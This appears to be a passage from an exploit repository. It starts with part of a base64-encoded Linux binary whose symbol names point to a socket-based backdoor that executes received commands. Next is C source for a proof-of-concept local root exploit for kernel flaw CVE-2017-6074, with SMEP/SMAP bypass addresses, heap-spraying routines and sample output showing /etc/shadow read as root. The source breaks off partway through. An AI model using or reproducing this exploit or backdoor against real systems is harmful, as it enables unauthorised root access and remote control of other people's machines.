AAAAAABmCwAAAAAAAHYLAAAAAAAAhgsAAAAAAACWCwAAAAAAAKYLAAAAAAAAtgsAAAAAAADGCwAA 141 | AAAAANYLAAAAAAAA5gsAAAAAAAD2CwAAAAAAAAYMAAAAAAAAFgwAAAAAAAAmDAAAAAAAADYMAAAA 142 | AAAARgwAAAAAAABWDAAAAAAAAGYMAAAAAAAAdgwAAAAAAACGDAAAAAAAAJYMAAAAAAAApgwAAAAA 143 | AAC2DAAAAAAAAMYMAAAAAAAA1gwAAAAAAADmDAAAAAAAAPYMAAAAAAAABg0AAAAAAAAWDQAAAAAA 144 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAggIAAAAAAA 145 | R0NDOiAoVWJ1bnR1IDcuMy4wLTI3dWJ1bnR1MX4xOC4wNCkgNy4zLjAAAAAAAAAAAAAAAAAAAAAA 146 | AAAAAAAAAAAAAAAAAAAAAAAAAAMAAQA4AgAAAAAAAAAAAAAAAAAAAAAAAAMAAgBUAgAAAAAAAAAA 147 | AAAAAAAAAAAAAAMAAwB0AgAAAAAAAAAAAAAAAAAAAAAAAAMABACYAgAAAAAAAAAAAAAAAAAAAAAA 148 | AAMABQC4AgAAAAAAAAAAAAAAAAAAAAAAAAMABgDoBQAAAAAAAAAAAAAAAAAAAAAAAAMABwA6BwAA 149 | AAAAAAAAAAAAAAAAAAAAAAMACACABwAAAAAAAAAAAAAAAAAAAAAAAAMACQDQBwAAAAAAAAAAAAAA 150 | AAAAAAAAAAMACgCQCAAAAAAAAAAAAAAAAAAAAAAAAAMACwAwCwAAAAAAAAAAAAAAAAAAAAAAAAMA 151 | DABQCwAAAAAAAAAAAAAAAAAAAAAAAAMADQAgDQAAAAAAAAAAAAAAAAAAAAAAAAMADgAwDQAAAAAA 152 | AAAAAAAAAAAAAAAAAAMADwDkGAAAAAAAAAAAAAAAAAAAAAAAAAMAEADwGAAAAAAAAAAAAAAAAAAA 153 | AAAAAAMAEQCkGQAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIGgAAAAAAAAAAAAAAAAAAAAAAAAMAEwDQ 154 | HCAAAAAAAAAAAAAAAAAAAAAAAAMAFADYHCAAAAAAAAAAAAAAAAAAAAAAAAMAFQDgHCAAAAAAAAAA 155 | AAAAAAAAAAAAAAMAFgDgHiAAAAAAAAAAAAAAAAAAAAAAAAMAFwAAICAAAAAAAAAAAAAAAAAAAAAA 156 | AAMAGAAgICAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAA 157 | AAAAAAAAAAAAAAAADAAAAAIADgBgDQAAAAAAAAAAAAAAAAAADgAAAAIADgCgDQAAAAAAAAAAAAAA 158 | AAAAIQAAAAIADgDwDQAAAAAAAAAAAAAAAAAANwAAAAEAGAAgICAAAAAAAAEAAAAAAAAARgAAAAEA 159 | FADYHCAAAAAAAAAAAAAAAAAAbQAAAAIADgAwDgAAAAAAAAAAAAAAAAAAeQAAAAEAEwDQHCAAAAAA 160 | AAAAAAAAAAAAmAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAowAAAAEAGABAICAAAAAAAAAEAAAAAAAA 161 | AQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEgC0GwAAAAAAAAAAAAAAAAAAAAAAAAQA8f8A 162 | AAAAAAAAAAAAAAAAAAAAugAAAAAAEwDYHCAAAAAAAAAAAAAAAAAAywAAAAEAFQDgHCAAAAAAAAAA 163 | AAAAAAAA1AAAAAAAEwDQHCAAAAAAAAAAAAAAAAAA5wAAAAAAEQCkGQAAAAAAAAAAAAAAAAAA+gAA 164 | AAEAFgDgHiAAAAAAAAAAAAAAAAAAEAEAABIADgDgGAAAAAAAAAIAAAAAAAAAIAEAABIAAAAAAAAA 165 | AAAAAAAAAAAAAAAAMgEAABIAAAAAAAAAAAAAAAAAAAAAAAAARwEAABIAAAAAAAAAAAAAAAAAAAAA 166 | AAAAWwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAjQIAACAA 167 | FwAAICAAAAAAAAAAAAAAAAAAjAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAoAEAABIAAAAAAAAAAAAA 168 | AAAAAAAAAAAAswEAABIAAAAAAAAAAAAAAAAAAAAAAAAAmAMAABIAAAAAAAAAAAAAAAAAAAAAAAAA 169 | yQEAABAAFwAQICAAAAAAAAAAAAAAAAAA0AEAABIAAAAAAAAAAAAAAAAAAAAAAAAAGgEAABIADwDk 170 | GAAAAAAAAAAAAAAAAAAA5AEAABIAAAAAAAAAAAAAAAAAAAAAAAAA+AEAABIAAAAAAAAAAAAAAAAA 171 | AAAAAAAAFAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAJwIAABIADgDYEAAAAAAAAEEGAAAAAAAAMQIA 172 | ABIAAAAAAAAAAAAAAAAAAAAAAAAARQIAABIAAAAAAAAAAAAAAAAAAAAAAAAAWQIAABIAAAAAAAAA 173 | AAAAAAAAAAAAAAAA0QEAABIAAAAAAAAAAAAAAAAAAAAAAAAAbAIAABIAAAAAAAAAAAAAAAAAAAAA 174 | AAAAiwIAABAAFwAAICAAAAAAAAAAAAAAAAAAmAIAABIAAAAAAAAAAAAAAAAAAAAAAAAArwIAABIA 175 | DgBQDwAAAAAAAGsAAAAAAAAAuAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAygIAACAAAAAAAAAAAAAA 176 | AAAAAAAAAAAA2QIAABECFwAIICAAAAAAAAAAAAAAAAAA5gIAABEAEADwGAAAAAAAAAQAAAAAAAAA 177 | 9QIAABIADgBwGAAAAAAAAGUAAAAAAAAABQMAABIADgC7DwAAAAAAAB0BAAAAAAAAxgAAABAAGABA 178 | JCAAAAAAAAAAAAAAAAAAkQIAABIADgAwDQAAAAAAACsAAAAAAAAAEAMAABIADgA6DgAAAAAAAFMA 179 | AAAAAAAAGAMAABIADgCNDgAAAAAAAMMAAAAAAAAAJgMAABAAGAAQICAAAAAAAAAAAAAAAAAAMgMA 180 | ABIADgAZFwAAAAAAAFMBAAAAAAAANwMAABIAAAAAAAAAAAAAAAAAAAAAAAAASgMAABIAAAAAAAAA 181 | AAAAAAAAAAAAAAAAXQMAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAMAABIAAAAAAAAAAAAAAAAAAAAA 182 | AAAAggMAABIAAAAAAAAAAAAAAAAAAAAAAAAAlwMAABIAAAAAAAAAAAAAAAAAAAAAAAAAqwMAABEC 183 | FwAQICAAAAAAAAAAAAAAAAAAtwMAACAAAAAAAAAAAAAAAAAAAAAAAAAA0QMAACIAAAAAAAAAAAAA 184 | AAAAAAAAAAAA/wIAABIACwAwCwAAAAAAAAAAAAAAAAAA7QMAABIAAAAAAAAAAAAAAAAAAAAAAAAA 185 | /wMAABIAAAAAAAAAAAAAAAAAAAAAAAAAEwQAABIAAAAAAAAAAAAAAAAAAAAAAAAAJwQAABIAAAAA 186 | AAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9i 187 | YWxfZHRvcnNfYXV4AGNvbXBsZXRlZC43Njk2AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2Fy 188 | cmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBiYWNr 189 | ZG9vci5jAGJ1Zi40NTIxAF9fRlJBTUVfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBf 190 | X2luaXRfYXJyYXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxF 191 | XwBfX2xpYmNfY3N1X2ZpbmkAcmVjdkBAR0xJQkNfMi4yLjUAc3RybmNweUBAR0xJQkNfMi4yLjUA 192 | cmVtb3ZlQEBHTElCQ18yLjIuNQBzdHJuY21wQEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJU 193 | TUNsb25lVGFibGUAc3RyY3B5QEBHTElCQ18yLjIuNQBmcmVhZEBAR0xJQkNfMi4yLjUAcmVhZGxp 194 | bmtAQEdMSUJDXzIuMi41AF9lZGF0YQBmY2xvc2VAQEdMSUJDXzIuMi41AHN0cmxlbkBAR0xJQkNf 195 | Mi4yLjUAX19zdGFja19jaGtfZmFpbEBAR0xJQkNfMi40AGh0b25zQEBHTElCQ18yLjIuNQBwYXJz 196 | ZV9jbWQAcGNsb3NlQEBHTElCQ18yLjIuNQBtZW1zZXRAQEdMSUJDXzIuMi41AGFsYXJtQEBHTElC 197 | Q18yLjIuNQBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4yLjUAX19kYXRhX3N0YXJ0AGluZXRf 198 | YWRkckBAR0xJQkNfMi4yLjUAcmVhZF9jbWQAZmVvZkBAR0xJQkNfMi4yLjUAX19nbW9uX3N0YXJ0 199 | X18AX19kc29faGFuZGxlAF9JT19zdGRpbl91c2VkAF9fbGliY19jc3VfaW5pdABleGVjdXRlQ01E 200 | AGdldHBhdGgAY3JlYXRlX3NvY2tldABfX2Jzc19zdGFydABtYWluAHBvcGVuQEBHTElCQ18yLjIu 201 | NQBmb3BlbkBAR0xJQkNfMi4yLjUAYnplcm9AQEdMSUJDXzIuMi41AGV4aXRAQEdMSUJDXzIuMi41 202 | AGNvbm5lY3RAQEdMSUJDXzIuMi41AGZ3cml0ZUBAR0xJQkNfMi4yLjUAX19UTUNfRU5EX18AX0lU 203 | TV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4yLjUAZm9ya0BA 204 | R0xJQkNfMi4yLjUAc3Ryc3RyQEBHTElCQ18yLjIuNQB1c2xlZXBAQEdMSUJDXzIuMi41AHNvY2tl 205 | dEBAR0xJQkNfMi4yLjUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5B 206 | QkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUu 207 | dmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5wbHQuZ290 208 | AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRfYXJyYXkA 209 | LmZpbmlfYXJyYXkALmR5bmFtaWMALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAA 210 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsA 211 | AAABAAAAAgAAAAAAAAA4AgAAAAAAADgCAAAAAAAAHAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAA 212 | AAAAAAAjAAAABwAAAAIAAAAAAAAAVAIAAAAAAABUAgAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAA 213 | AAAAAAAAAAAAAAAAMQAAAAcAAAACAAAAAAAAAHQCAAAAAAAAdAIAAAAAAAAkAAAAAAAAAAAAAAAA 214 | AAAABAAAAAAAAAAAAAAAAAAAAEQAAAD2//9vAgAAAAAAAACYAgAAAAAAAJgCAAAAAAAAHAAAAAAA 215 | AAAFAAAAAAAAAAgAAAAAAAAAAAAAAAAAAABOAAAACwAAAAIAAAAAAAAAuAIAAAAAAAC4AgAAAAAA 216 | ADADAAAAAAAABgAAAAEAAAAIAAAAAAAAABgAAAAAAAAAVgAAAAMAAAACAAAAAAAAAOgFAAAAAAAA 217 | 6AUAAAAAAABRAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAF4AAAD///9vAgAAAAAAAAA6 218 | BwAAAAAAADoHAAAAAAAARAAAAAAAAAAFAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABrAAAA/v//bwIA 219 | AAAAAAAAgAcAAAAAAACABwAAAAAAAFAAAAAAAAAABgAAAAIAAAAIAAAAAAAAAAAAAAAAAAAAegAA 220 | AAQAAAACAAAAAAAAANAHAAAAAAAA0AcAAAAAAADAAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAYAAAA 221 | AAAAAIQAAAAEAAAAQgAAAAAAAACQCAAAAAAAAJAIAAAAAAAAoAIAAAAAAAAFAAAAFgAAAAgAAAAA 222 | AAAAGAAAAAAAAACOAAAAAQAAAAYAAAAAAAAAMAsAAAAAAAAwCwAAAAAAABcAAAAAAAAAAAAAAAAA 223 | AAAEAAAAAAAAAAAAAAAAAAAAiQAAAAEAAAAGAAAAAAAAAFALAAAAAAAAUAsAAAAAAADQAQAAAAAA 224 | AAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAJQAAAABAAAABgAAAAAAAAAgDQAAAAAAACANAAAAAAAA 225 | CAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACdAAAAAQAAAAYAAAAAAAAAMA0AAAAAAAAw 226 | DQAAAAAAALILAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAowAAAAEAAAAGAAAAAAAAAOQY 227 | AAAAAAAA5BgAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAKkAAAABAAAAAgAA 228 | AAAAAADwGAAAAAAAAPAYAAAAAAAAsQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACxAAAA 229 | AQAAAAIAAAAAAAAApBkAAAAAAACkGQAAAAAAAGQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAA 230 | AAAAvwAAAAEAAAACAAAAAAAAAAgaAAAAAAAACBoAAAAAAACwAQAAAAAAAAAAAAAAAAAACAAAAAAA 231 | AAAAAAAAAAAAAMkAAAAOAAAAAwAAAAAAAADQHCAAAAAAANAcAAAAAAAACAAAAAAAAAAAAAAAAAAA 232 | AAgAAAAAAAAACAAAAAAAAADVAAAADwAAAAMAAAAAAAAA2BwgAAAAAADYHAAAAAAAAAgAAAAAAAAA 233 | AAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA4QAAAAYAAAADAAAAAAAAAOAcIAAAAAAA4BwAAAAAAAAA 234 | AgAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAJgAAAABAAAAAwAAAAAAAADgHiAAAAAAAOAe 235 | AAAAAAAAIAEAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADqAAAAAQAAAAMAAAAAAAAAACAg 236 | AAAAAAAAIAAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA8AAAAAgAAAADAAAA 237 | AAAAACAgIAAAAAAAECAAAAAAAAAgBAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAPUAAAAB 238 | AAAAMAAAAAAAAAAAAAAAAAAAABAgAAAAAAAAKgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAA 239 | AAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAABAIAAAAAAAAAAJAAAAAAAAGwAAACwAAAAIAAAAAAAA 240 | ABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAQCkAAAAAAAA7BAAAAAAAAAAAAAAAAAAA 241 | AQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAHstAAAAAAAA/gAAAAAAAAAA 242 | AAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA= 243 | -------------------------------------------------------------------------------- /getRoot/POC/CVE-2017-6074_poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-6074. 2 | // Includes a semireliable SMAP/SMEP bypass. 3 | // Tested on 4.4.0-62-generic #83-Ubuntu kernel. 4 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 5 | // 6 | // Usage: 7 | // $ gcc CVE-2017-6074_poc.c -o CVE-2017-6074_poc 8 | // $ ./pwn 9 | // [.] namespace sandbox setup successfully 10 | // [.] disabling SMEP & SMAP 11 | // [.] scheduling 0xffffffff81064550(0x406e0) 12 | // [.] waiting for the timer to execute 13 | // [.] done 14 | // [.] SMEP & SMAP should be off now 15 | // [.] getting root 16 | // [.] executing 0x402043 17 | // [.] done 18 | // [.] should be root now 19 | // [.] checking if we got root 20 | // [+] got r00t ^_^ 21 | // [!] don't kill the exploit binary, the kernel will crash 22 | // # cat /etc/shadow 23 | // ... 24 | // daemon:*:17149:0:99999:7::: 25 | // bin:*:17149:0:99999:7::: 26 | // sys:*:17149:0:99999:7::: 27 | // sync:*:17149:0:99999:7::: 28 | // games:*:17149:0:99999:7::: 29 | // ... 30 | // 31 | // Andrey Konovalov 32 | 33 | #define _GNU_SOURCE 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | 46 | #include 47 | 48 | #include 49 | #include 50 | #include 51 | #include 52 | 53 | #include 54 | #include 55 | #include 56 | 57 | #define SMEP_SMAP_BYPASS 1 58 | 59 | // Needed for local root. 60 | #define COMMIT_CREDS 0xffffffff810a2840L 61 | #define PREPARE_KERNEL_CRED 0xffffffff810a2c30L 62 | #define SHINFO_OFFSET 1728 63 | 64 | // Needed for SMEP_SMAP_BYPASS. 65 | #define NATIVE_WRITE_CR4 0xffffffff81064550ul 66 | #define CR4_DESIRED_VALUE 0x406e0ul 67 | #define TIMER_OFFSET (728 + 48 + 104) 68 | 69 | #define KMALLOC_PAD 128 70 | #define KMALLOC_WARM 32 71 | #define CATCH_FIRST 6 72 | #define CATCH_AGAIN 16 73 | #define CATCH_AGAIN_SMALL 64 74 | 75 | // Port is incremented on each use. 76 | static int port = 11000; 77 | 78 | void debug(const char *msg) { 79 | /* 80 | char buffer[32]; 81 | snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg); 82 | system(buffer); 83 | */ 84 | } 85 | 86 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 87 | 88 | struct ubuf_info { 89 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 90 | uint64_t ctx; // void * 91 | uint64_t desc; // unsigned long 92 | }; 93 | 94 | struct skb_shared_info { 95 | uint8_t nr_frags; // unsigned char 96 | uint8_t tx_flags; // __u8 97 | uint16_t gso_size; // unsigned short 98 | uint16_t gso_segs; // unsigned short 99 | uint16_t gso_type; // unsigned short 100 | uint64_t frag_list; // struct sk_buff * 101 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 102 | uint32_t tskey; // u32 103 | uint32_t ip6_frag_id; // __be32 104 | uint32_t dataref; // atomic_t 105 | uint64_t destructor_arg; // void * 106 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 107 | }; 108 | 109 | struct ubuf_info ui; 110 | 111 | void init_skb_buffer(char* buffer, void *func) { 112 | memset(&buffer[0], 0, 2048); 113 | 114 | struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET]; 115 | 116 | ssi->tx_flags = 0xff; 117 | ssi->destructor_arg = (uint64_t)&ui; 118 | ssi->nr_frags = 0; 119 | ssi->frag_list = 0; 120 | 121 | ui.callback = (unsigned long)func; 122 | } 123 | 124 | struct timer_list { 125 | void *next; 126 | void *prev; 127 | unsigned long expires; 128 | void (*function)(unsigned long); 129 | unsigned long data; 130 | unsigned int flags; 131 | int slack; 132 | }; 133 | 134 | void init_timer_buffer(char* buffer, void *func, unsigned long arg) { 135 | memset(&buffer[0], 0, 2048); 136 | 137 | struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET]; 138 | 139 | timer->next = 0; 140 | timer->prev = 0; 141 | timer->expires = 4294943360; 142 | timer->function = func; 143 | timer->data = arg; 144 | timer->flags = 1; 145 | timer->slack = -1; 146 | } 147 | 148 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 149 | 150 | struct dccp_handle { 151 | struct sockaddr_in6 sa; 152 | int s1; 153 | int s2; 154 | }; 155 | 156 | void dccp_init(struct dccp_handle *handle, int port) { 157 | handle->sa.sin6_family = AF_INET6; 158 | handle->sa.sin6_port = htons(port); 159 | inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); 160 | handle->sa.sin6_flowinfo = 0; 161 | handle->sa.sin6_scope_id = 0; 162 | 163 | handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 164 | if (handle->s1 == -1) { 165 | perror("socket(SOCK_DCCP)"); 166 | exit(EXIT_FAILURE); 167 | } 168 | 169 | int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); 170 | if (rv != 0) { 171 | perror("bind()"); 172 | exit(EXIT_FAILURE); 173 | } 174 | 175 | rv = listen(handle->s1, 0x9); 176 | if (rv != 0) { 177 | perror("listen()"); 178 | exit(EXIT_FAILURE); 179 | } 180 | 181 | int optval = 8; 182 | rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, 183 | &optval, sizeof(optval)); 184 | if (rv != 0) { 185 | perror("setsockopt(IPV6_RECVPKTINFO)"); 186 | exit(EXIT_FAILURE); 187 | } 188 | 189 | handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 190 | if (handle->s1 == -1) { 191 | perror("socket(SOCK_DCCP)"); 192 | exit(EXIT_FAILURE); 193 | } 194 | } 195 | 196 | void dccp_kmalloc_kfree(struct dccp_handle *handle) { 197 | int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); 198 | if (rv != 0) { 199 | perror("connect(SOCK_DCCP)"); 200 | exit(EXIT_FAILURE); 201 | } 202 | } 203 | 204 | void dccp_kfree_again(struct dccp_handle *handle) { 205 | int rv = shutdown(handle->s1, SHUT_RDWR); 206 | if (rv != 0) { 207 | perror("shutdown(SOCK_DCCP)"); 208 | exit(EXIT_FAILURE); 209 | } 210 | } 211 | 212 | void dccp_destroy(struct dccp_handle *handle) { 213 | close(handle->s1); 214 | close(handle->s2); 215 | } 216 | 217 | // * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * * 218 | 219 | struct udp_fifo_handle { 220 | int fds[2]; 221 | }; 222 | 223 | void udp_fifo_init(struct udp_fifo_handle* handle) { 224 | int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds); 225 | if (rv != 0) { 226 | perror("socketpair()"); 227 | exit(EXIT_FAILURE); 228 | } 229 | } 230 | 231 | void udp_fifo_destroy(struct udp_fifo_handle* handle) { 232 | close(handle->fds[0]); 233 | close(handle->fds[1]); 234 | } 235 | 236 | void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) { 237 | int rv = send(handle->fds[0], buffer, 1536, 0); 238 | if (rv != 1536) { 239 | perror("send()"); 240 | exit(EXIT_FAILURE); 241 | } 242 | } 243 | 244 | void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) { 245 | char buffer[128]; 246 | int rv = send(handle->fds[0], &buffer[0], 128, 0); 247 | if (rv != 128) { 248 | perror("send()"); 249 | exit(EXIT_FAILURE); 250 | } 251 | } 252 | 253 | void udp_fifo_kfree(struct udp_fifo_handle* handle) { 254 | char buffer[2048]; 255 | int rv = recv(handle->fds[1], &buffer[0], 1536, 0); 256 | if (rv != 1536) { 257 | perror("recv()"); 258 | exit(EXIT_FAILURE); 259 | } 260 | } 261 | 262 | int timer_kmalloc() { 263 | int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 264 | if (s == -1) { 265 | perror("socket(SOCK_DGRAM)"); 266 | exit(EXIT_FAILURE); 267 | } 268 | return s; 269 | } 270 | 271 | #define CONF_RING_FRAMES 1 272 | void timer_schedule(int handle, int timeout) { 273 | int optval = TPACKET_V3; 274 | int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION, 275 | &optval, sizeof(optval)); 276 | if (rv != 0) { 277 | perror("setsockopt(PACKET_VERSION)"); 278 | exit(EXIT_FAILURE); 279 | } 280 | struct tpacket_req3 tp; 281 | memset(&tp, 0, sizeof(tp)); 282 | tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); 283 | tp.tp_block_nr = 1; 284 | tp.tp_frame_size = getpagesize(); 285 | tp.tp_frame_nr = CONF_RING_FRAMES; 286 | tp.tp_retire_blk_tov = timeout; 287 | rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING, 288 | (void *)&tp, sizeof(tp)); 289 | if (rv != 0) { 290 | perror("setsockopt(PACKET_RX_RING)"); 291 | exit(EXIT_FAILURE); 292 | } 293 | } 294 | 295 | void socket_sendmmsg(int sock, char *buffer) { 296 | struct mmsghdr msg[1]; 297 | 298 | msg[0].msg_hdr.msg_iovlen = 0; 299 | 300 | // Buffer to kmalloc. 301 | msg[0].msg_hdr.msg_control = &buffer[0]; 302 | msg[0].msg_hdr.msg_controllen = 2048; 303 | 304 | // Make sendmmsg exit easy with EINVAL. 305 | msg[0].msg_hdr.msg_name = "root"; 306 | msg[0].msg_hdr.msg_namelen = 1; 307 | 308 | int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0); 309 | if (rv == -1 && errno != EINVAL) { 310 | perror("[-] sendmmsg()"); 311 | exit(EXIT_FAILURE); 312 | } 313 | } 314 | 315 | void sendmmsg_kmalloc_kfree(int port, char *buffer) { 316 | int sock[2]; 317 | 318 | int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock); 319 | if (rv != 0) { 320 | perror("socketpair()"); 321 | exit(EXIT_FAILURE); 322 | } 323 | 324 | socket_sendmmsg(sock[0], buffer); 325 | 326 | close(sock[0]); 327 | } 328 | 329 | // * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * * 330 | 331 | void dccp_connect_pad(struct dccp_handle *handle, int port) { 332 | handle->sa.sin6_family = AF_INET6; 333 | handle->sa.sin6_port = htons(port); 334 | inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); 335 | handle->sa.sin6_flowinfo = 0; 336 | handle->sa.sin6_scope_id = 0; 337 | 338 | handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 339 | if (handle->s1 == -1) { 340 | perror("socket(SOCK_DCCP)"); 341 | exit(EXIT_FAILURE); 342 | } 343 | 344 | int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); 345 | if (rv != 0) { 346 | perror("bind()"); 347 | exit(EXIT_FAILURE); 348 | } 349 | 350 | rv = listen(handle->s1, 0x9); 351 | if (rv != 0) { 352 | perror("listen()"); 353 | exit(EXIT_FAILURE); 354 | } 355 | 356 | handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 357 | if (handle->s1 == -1) { 358 | perror("socket(SOCK_DCCP)"); 359 | exit(EXIT_FAILURE); 360 | } 361 | 362 | rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); 363 | if (rv != 0) { 364 | perror("connect(SOCK_DCCP)"); 365 | exit(EXIT_FAILURE); 366 | } 367 | } 368 | 369 | void dccp_kmalloc_pad() { 370 | int i; 371 | struct dccp_handle handle; 372 | for (i = 0; i < 4; i++) { 373 | dccp_connect_pad(&handle, port++); 374 | } 375 | } 376 | 377 | void timer_kmalloc_pad() { 378 | int i; 379 | for (i = 0; i < 4; i++) { 380 | socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 381 | } 382 | } 383 | 384 | void udp_kmalloc_pad() { 385 | int i, j; 386 | char dummy[2048]; 387 | struct udp_fifo_handle uh[16]; 388 | for (i = 0; i < KMALLOC_PAD / 16; i++) { 389 | udp_fifo_init(&uh[i]); 390 | for (j = 0; j < 16; j++) 391 | udp_fifo_kmalloc(&uh[i], &dummy[0]); 392 | } 393 | } 394 | 395 | void kmalloc_pad() { 396 | debug("dccp kmalloc pad"); 397 | dccp_kmalloc_pad(); 398 | debug("timer kmalloc pad"); 399 | timer_kmalloc_pad(); 400 | debug("udp kmalloc pad"); 401 | udp_kmalloc_pad(); 402 | } 403 | 404 | void udp_kmalloc_warm() { 405 | int i, j; 406 | char dummy[2048]; 407 | struct udp_fifo_handle uh[16]; 408 | for (i = 0; i < KMALLOC_WARM / 16; i++) { 409 | udp_fifo_init(&uh[i]); 410 | for (j = 0; j < 16; j++) 411 | udp_fifo_kmalloc(&uh[i], &dummy[0]); 412 | } 413 | for (i = 0; i < KMALLOC_WARM / 16; i++) { 414 | for (j = 0; j < 16; j++) 415 | udp_fifo_kfree(&uh[i]); 416 | } 417 | } 418 | 419 | void kmalloc_warm() { 420 | udp_kmalloc_warm(); 421 | } 422 | 423 | // * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * * 424 | 425 | // Executes func(arg) from interrupt context multiple times. 426 | void kernel_exec_irq(void *func, unsigned long arg) { 427 | int i; 428 | struct dccp_handle dh; 429 | struct udp_fifo_handle uh1, uh2, uh3, uh4; 430 | char dummy[2048]; 431 | char buffer[2048]; 432 | 433 | printf("[.] scheduling %p(%p)\n", func, (void *)arg); 434 | 435 | memset(&dummy[0], 0xc3, 2048); 436 | init_timer_buffer(&buffer[0], func, arg); 437 | 438 | udp_fifo_init(&uh1); 439 | udp_fifo_init(&uh2); 440 | udp_fifo_init(&uh3); 441 | udp_fifo_init(&uh4); 442 | 443 | debug("kmalloc pad"); 444 | kmalloc_pad(); 445 | 446 | debug("kmalloc warm"); 447 | kmalloc_warm(); 448 | 449 | debug("dccp init"); 450 | dccp_init(&dh, port++); 451 | 452 | debug("dccp kmalloc kfree"); 453 | 